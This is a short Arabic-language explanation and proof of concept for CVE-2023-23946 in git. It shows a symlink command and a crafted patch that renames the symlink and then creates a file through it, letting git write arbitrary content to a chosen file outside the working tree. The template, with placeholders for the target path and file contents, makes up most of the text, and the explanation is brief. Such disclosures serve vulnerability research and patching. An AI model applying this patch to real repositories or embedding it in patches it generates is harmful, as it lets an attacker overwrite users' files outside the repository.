
شرح وإثبات المفهوم (POC) لثغرة CVE-2023-23946
شرح وPOC لـ CVE-2023-23946
سبب ثغرة CVE-2023-23946 هو خلل في طريقة تعامل git مع الروابط الرمزية. عندما ينشئ git رابطًا رمزيًا، فإنه لا يتعامل معه فعليًا كرابط رمزي، ولهذا يمكننا استغلاله للإشارة إلى ملفات خارج شجرة العمل.
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
ماذا يفعل هذا التصحيح؟ نقوم بتغيير اسم الرابط الرمزي الحالي وإنشاء ملف جديد. بهذه الطريقة، عندما نعدّل /newsymlink/[FILE_OUTSIDE]، لا يطبّق git حماياته ضد الروابط الرمزية.